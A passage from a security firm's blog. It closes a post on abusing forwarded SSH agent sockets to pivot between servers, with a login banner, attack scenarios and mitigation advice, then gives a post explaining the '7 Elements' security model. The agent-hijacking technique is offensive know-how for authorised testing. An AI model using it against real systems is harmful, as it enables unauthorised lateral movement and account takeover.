the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:22:57 2012 from 192.168.1.60
pwnme@debian2:~$
Oh dear, it worked. We are now authenticated to debian2 as the pwnme user. It's important to note that even though a passphrase was set on the pwnme user's private key, once the key is loaded into the ssh-agent it is decrypted and the passphrase provides no protection to this abuse.

Common scenarios

So, as I said at the start, nothing new. How is this scary though? A lot of people use agent forwarding but don't restrict it accordingly. Many people use the same SSH key for different hosts. For example, they create a key-pair at work for accessing work servers, then use the same public key on their home SSH server, or VPS in "The Cloud". An evil root user on one of those work servers (or a penetration tester) could use those agent sockets to access your home server, your VPS, or whatever else you can access with that. Some companies even allow direct root logins with SSH providing it's "without-password". Woot - Instant root access.

Another common scenario is the SSH golden host. A "hardened" box at the perimeter which is used to access a secure environment remotely. Many times this is the only public facing server and it is common for sysadmins or developers to forward their agent through this server. An attacker who can gain root access on this server will quickly be able to pivot through to the other servers in the environment. In the words of Haroon Meer are you "one 0-day from being owned"?

If you are sensible and use different key-pairs for different environments you are likely still at risk as ssh-agent will forward all identities, so what can you do?

How to protect yourself

Unfortunately there is no magic advice here. OpenSSH provide some configuration options such as IdentitiesOnly but this only controls which identities to forward to a server for authentication. If you successfully authenticate and forward your agent, all identities loaded will still be available on the remote host.

The best recommendation I can give is don't forward your agent to hosts which you cannot trust - like the documentation says!

Next steps

This post really paves the way for what I want to look at in part 2 which is automating the process of finding and exploiting this issue with our friend metasploit and some modules I've been working on. Look out for that post soon.

Wednesday, 28 March 2012

The 7 Elements

A question I am often asked is what is behind the name '7 Elements'. So for this blog post, I am going to explore this in more detail and go through each of the 7 Elements in turn.

The name 7 Elements reflects the belief that there are seven core activities required within an organisation's approach to information security. Only by embedding all seven can an organisation truly deliver a holistic and resilient approach to information security, and one that will enable them to meet their businesses objectives and in the end, to survive.

The Elements


Design | Build | Manage | Embed | Adapt | Sustain | Assure



Out of the seven, the following six elements provide the foundations required for a resilient approach to security:

Design:

Within this element an organisation needs to define architecture, policies and standards to deliver a resilient approach to information security.

Build:

Next we need to deploy systems and infrastructure that meet your design and protect your organisation's information.

Manage:

Ongoing management is then required to ensure that your systems are operated securely and new projects align with your security design. This element can also include the management of complex security testing engagements.

Embed:

Embedding security strategy, culture and awareness into your business processes is vital to the overall organisational approach to security.

Adapt:

We do not live in a static environment, thus it is vital that we can respond to changes within the threat landscape with regular reviews and updates that inform all of the elements.

Sustain:

Incidents will happen, both malicious and unintentional, so there is a need to deliver business resiliency through Incident Management and Resiliency testing.


This then brings me to what I feel is the most important and often neglected element required:

Assure:

The 7th Element is all about gaining assurance over any aspect of your approach to security, through practical and pragmatic security testing. Many organisations will focus on aspects of the other elements and fail to gain assurance that their approach actually provides the level of protection required and as such could expose the organisation to hidden risks.

Security testing allows you to test assumptions and controls that are designed to provide a level of security and to gain assurance that that assumption / control actually does what was expected or more importantly doesn't do something unexpected that results in a compromise of data.


This approach would then lead to the following model: